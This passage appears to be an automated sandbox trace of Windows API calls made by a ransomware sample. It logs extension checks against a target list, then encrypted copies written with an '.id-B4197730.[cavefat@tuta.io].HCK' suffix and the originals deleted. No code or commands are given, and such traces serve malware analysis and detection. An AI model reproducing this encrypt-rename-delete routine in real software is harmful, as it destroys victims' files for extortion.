[0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".zip") returned 4 [0224.970] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".rar") returned 4 [0224.970] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.970] lstrlenW (lpString=".bz2") returned 4 [0224.970] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString=".7z") returned 3 [0224.970] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".dbf") returned 4 [0224.970] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".1cd") returned 4 [0224.970] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.970] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0224.970] lstrlenW (lpString=".jpg") returned 4 [0224.970] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.971] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0224.971] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.971] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0224.971] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=75616) returned 1 [0224.971] CloseHandle (hObject=0x3fc) returned 1 [0224.971] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0224.971] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.971] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.971] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0224.971] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0224.971] lstrlenW (lpString=".doc") returned 4 [0224.971] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.971] lstrlenW (lpString=".docx") returned 5 [0224.971] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.971] lstrlenW (lpString=".pdf") returned 4 [0224.971] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.971] lstrlenW (lpString=".xls") returned 4 [0224.971] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.971] lstrlenW (lpString=".xlsx") returned 5 [0224.971] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.971] lstrlenW (lpString=".ppt") returned 4 [0224.971] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.972] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0224.972] lstrlenW (lpString=".zip") returned 4 [0224.972] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.972] lstrlenW (lpString=".rar") returned 4 [0224.972] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.972] lstrlenW (lpString=".bz2") returned 4 [0224.972] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.972] lstrlenW (lpString=".7z") returned 3 [0224.972] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.975] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0224.977] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0224.978] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0224.980] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.138] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0225.144] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.594] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.595] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=51236) returned 1 [0225.595] CloseHandle (hObject=0x458) returned 1 [0225.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0225.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.595] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.595] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.595] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0225.597] GetLastError () returned 0x0 [0225.597] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xc824, lpOverlapped=0x0) returned 1 [0225.607] WriteFile (in: hFile=0x45c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xc830, lpOverlapped=0x0) returned 1 [0225.608] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.609] WriteFile (in: hFile=0x45c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe6, lpOverlapped=0x0) returned 1 [0225.609] SetEndOfFile (hFile=0x45c) returned 1 [0225.609] CloseHandle (hObject=0x45c) returned 1 [0225.609] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.609] SetEndOfFile (hFile=0x458) returned 1 [0225.611] CloseHandle (hObject=0x458) returned 1 [0225.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.612] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0225.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.612] lstrlenW (lpString=".doc") returned 4 [0225.613] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".docx") returned 5 [0225.613] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0225.613] lstrlenW (lpString=".pdf") returned 4 [0225.613] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".xls") returned 4 [0225.613] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".xlsx") returned 5 [0225.613] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0225.613] lstrlenW (lpString=".ppt") returned 4 [0225.613] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".zip") returned 4 [0225.613] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".rar") returned 4 [0225.613] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".bz2") returned 4 [0225.613] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".7z") returned 3 [0225.613] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".dbf") returned 4 [0225.613] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".1cd") returned 4 [0225.613] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".jpg") returned 4 [0225.613] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".doc") returned 4 [0225.613] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".docx") returned 5 [0225.613] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0225.613] lstrlenW (lpString=".pdf") returned 4 [0225.613] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".xls") returned 4 [0225.613] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".xlsx") returned 5 [0225.613] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0225.613] lstrlenW (lpString=".ppt") returned 4 [0225.613] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.613] lstrlenW (lpString=".zip") returned 4 [0225.613] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".rar") returned 4 [0225.613] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".bz2") returned 4 [0225.613] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0225.613] lstrlenW (lpString=".7z") returned 3 [0225.614] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.614] lstrlenW (lpString=".dbf") returned 4 [0225.614] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0225.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.614] lstrlenW (lpString=".1cd") returned 4 [0225.614] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0225.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0225.614] lstrlenW (lpString=".jpg") returned 4 [0225.614] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0225.614] lstrcmpiW (lpString1=".pf", lpString2=".HCK") returned 1 [0225.614] lstrlenW (lpString="GRAY.pf") returned 7 [0225.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.614] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=632) returned 1 [0225.614] CloseHandle (hObject=0x458) returned 1 [0225.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0225.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.615] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.615] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0225.616] GetLastError () returned 0x0 [0225.616] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x278, lpOverlapped=0x0) returned 1 [0225.617] WriteFile (in: hFile=0x45c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x280, lpOverlapped=0x0) returned 1 [0225.618] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.618] WriteFile (in: hFile=0x45c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe2, lpOverlapped=0x0) returned 1 [0225.618] SetEndOfFile (hFile=0x45c) returned 1 [0225.618] CloseHandle (hObject=0x45c) returned 1 [0225.618] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.618] SetEndOfFile (hFile=0x458) returned 1 [0225.620] CloseHandle (hObject=0x458) returned 1 [0225.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.621] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0225.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.621] lstrlenW (lpString=".doc") returned 4 [0225.622] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".docx") returned 5 [0225.622] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0225.622] lstrlenW (lpString=".pdf") returned 4 [0225.622] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".xls") returned 4 [0225.622] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".xlsx") returned 5 [0225.622] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0225.622] lstrlenW (lpString=".ppt") returned 4 [0225.622] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".zip") returned 4 [0225.622] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".rar") returned 4 [0225.622] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".bz2") returned 4 [0225.622] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".7z") returned 3 [0225.622] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".dbf") returned 4 [0225.622] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".1cd") returned 4 [0225.622] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".jpg") returned 4 [0225.622] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".doc") returned 4 [0225.622] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".docx") returned 5 [0225.622] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0225.622] lstrlenW (lpString=".pdf") returned 4 [0225.622] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".xls") returned 4 [0225.622] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".xlsx") returned 5 [0225.622] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0225.622] lstrlenW (lpString=".ppt") returned 4 [0225.622] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.622] lstrlenW (lpString=".zip") returned 4 [0225.622] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".rar") returned 4 [0225.622] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0225.622] lstrlenW (lpString=".bz2") returned 4 [0225.622] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0225.623] lstrlenW (lpString=".7z") returned 3 [0225.623] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.623] lstrlenW (lpString=".dbf") returned 4 [0225.623] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0225.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.623] lstrlenW (lpString=".1cd") returned 4 [0225.623] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0225.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0225.623] lstrlenW (lpString=".jpg") returned 4 [0225.623] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0225.623] lstrcmpiW (lpString1=".pf", lpString2=".HCK") returned 1 [0225.623] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0225.623] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.624] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1044) returned 1 [0225.624] CloseHandle (hObject=0x458) returned 1 [0225.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0225.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.624] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0225.624] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.625] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.625] CreateFileW 